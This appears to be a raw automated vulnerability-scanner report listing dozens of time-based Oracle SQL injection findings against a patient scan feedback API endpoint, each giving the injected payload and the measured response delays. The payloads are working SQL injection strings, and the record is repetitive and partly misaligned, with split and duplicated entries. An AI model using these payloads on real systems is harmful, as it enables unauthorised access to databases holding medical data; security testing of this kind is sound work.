Attack	field: [y], value [169 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	The query time is controllable using parameter value [169 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [9,710] milliseconds, when the original unmodified query with value [169] took [1,544] milliseconds
Other Info	

UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,972] milliseconds, when the original unmodified query with value [169] took [776] milliseconds

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [176' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']

Evidence

The query time is controllable using parameter value [176' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '], which caused the request to take [9,738] milliseconds, when the original unmodified query with value [176] took [2,574] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [193" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]

Evidence

The query time is controllable using parameter value [193" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [7,333] milliseconds, when the original unmodified query with value [193] took [782] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [193" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]

Evidence

The query time is controllable using parameter value [193" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [8,264] milliseconds, when the original unmodified query with value [193] took [1,245] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [195' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']

Evidence

The query time is controllable using parameter value [195' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual

Other Info	union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']', which caused the request to take [9,488] milliseconds, when the original unmodified query with value [195] took [1,300] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [200" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"
Evidence	The query time is controllable using parameter value [200" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]" , which caused the request to take [7,341] milliseconds, when the original unmodified query with value [200] took [1,808] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [203 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	The query time is controllable using parameter value [203 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,813] milliseconds, when the original unmodified query with value [203] took [2,191] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [208' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']"
Evidence	The query time is controllable using parameter value [208' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']' , which caused the request to take [8,345] milliseconds, when the original unmodified query with value [208] took [1,082] milliseconds
Other Info	
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [210" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"
Evidence	The query time is controllable using parameter value [210" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"

Other Info	('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [8,617] milliseconds, when the original unmodified query with value [210] took [776] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [210' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']
Evidence	
Other Info	The query time is controllable using parameter value [210' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '], which caused the request to take [7,678] milliseconds, when the original unmodified query with value [210] took [974] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [215" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]
Evidence	
Other Info	The query time is controllable using parameter value [215" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [6,624] milliseconds, when the original unmodified query with value [215] took [1,286] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [22 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [22 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,307] milliseconds, when the original unmodified query with value [22] took [1,900] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [222 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]
Evidence	

Other Info	The query time is controllable using parameter value [222 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [6,925] milliseconds, when the original unmodified query with value [222] took [259] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [222 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]
Evidence	
Other Info	The query time is controllable using parameter value [222 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [7,535] milliseconds, when the original unmodified query with value [222] took [1,384] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [225 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]
Evidence	
Other Info	The query time is controllable using parameter value [225 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [5,905] milliseconds, when the original unmodified query with value [225] took [762] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [227 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [227 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [6,884] milliseconds, when the original unmodified query with value [227] took [1,036] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [232" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]"

Evidence

The query time is controllable using parameter value [232" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [6,191] milliseconds, when the original unmodified query with value [232] took [259] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [234 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]

Evidence

The query time is controllable using parameter value [234 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [11,452] milliseconds, when the original unmodified query with value [234] took [776] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [239' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']

Evidence

The query time is controllable using parameter value [239' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '], which caused the request to take [9,190] milliseconds, when the original unmodified query with value [239] took [1,247] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [239' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']

Evidence

The query time is controllable using parameter value [239' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '], which caused the request to take [9,903] milliseconds, when the original unmodified query with value [239] took [1,136] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [25' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']

Evidence

The query time is controllable using parameter value [25' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / '], which caused the request to take [12,042] milliseconds, when the original unmodified query with value [25] took [2,800] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [252" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]

Evidence

The query time is controllable using parameter value [252" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [7,897] milliseconds, when the original unmodified query with value [252] took [942] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [27" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]

Evidence

The query time is controllable using parameter value [27" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [6,658] milliseconds, when the original unmodified query with value [27] took [776] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [27" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]

Evidence

The query time is controllable using parameter value [27" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [8,522] milliseconds, when the original unmodified query with value [27] took [255] milliseconds

Other Info

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [312.13463469860596' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union

```
SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']
```

Evidence

Other Info

The query time is controllable using parameter value [312.13463469860596] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']', which caused the request to take [8,282] milliseconds, when the original unmodified query with value [312.13463469860596] took [1,671] milliseconds

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [314.42483077703736] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]

Evidence

Other Info

The query time is controllable using parameter value [314.42483077703736] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,016] milliseconds, when the original unmodified query with value [314.42483077703736] took [258] milliseconds

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [32] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']

Evidence

Other Info

The query time is controllable using parameter value [32] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']', which caused the request to take [10,216] milliseconds, when the original unmodified query with value [32] took [2,599] milliseconds

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack

field: [y], value [328] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]

Evidence

Other Info

The query time is controllable using parameter value [328] / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [8,203] milliseconds, when the original unmodified query with value [328] took [784] milliseconds

URL

https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method

POST

Attack	field: [y], value [373.96992881625306" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]
Evidence	
Other Info	The query time is controllable using parameter value [373.96992881625306" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [6,331] milliseconds, when the original unmodified query with value [373.96992881625306] took [257] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [54 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [54 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [7,859] milliseconds, when the original unmodified query with value [54] took [998] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [54 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --]
Evidence	
Other Info	The query time is controllable using parameter value [54 and exists (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) --], which caused the request to take [8,345] milliseconds, when the original unmodified query with value [54] took [813] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [56" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "]
Evidence	
Other Info	The query time is controllable using parameter value [56" / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / "], which caused the request to take [7,292] milliseconds, when the original unmodified query with value [56] took [945] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	field: [y], value [59 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)]
Evidence	
Other Info	The query time is controllable using parameter value [59 / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual)], which caused the request to take [6,310] milliseconds, when the original unmodified query with value [59] took [808] milliseconds
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	field: [y], value [90' / (SELECT UTL_INADDR.get_host_name('10.0.0.1') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.2') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.3') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.4') from dual union SELECT UTL_INADDR.get_host_name('10.0.0.5') from dual) / ']
Evidence	
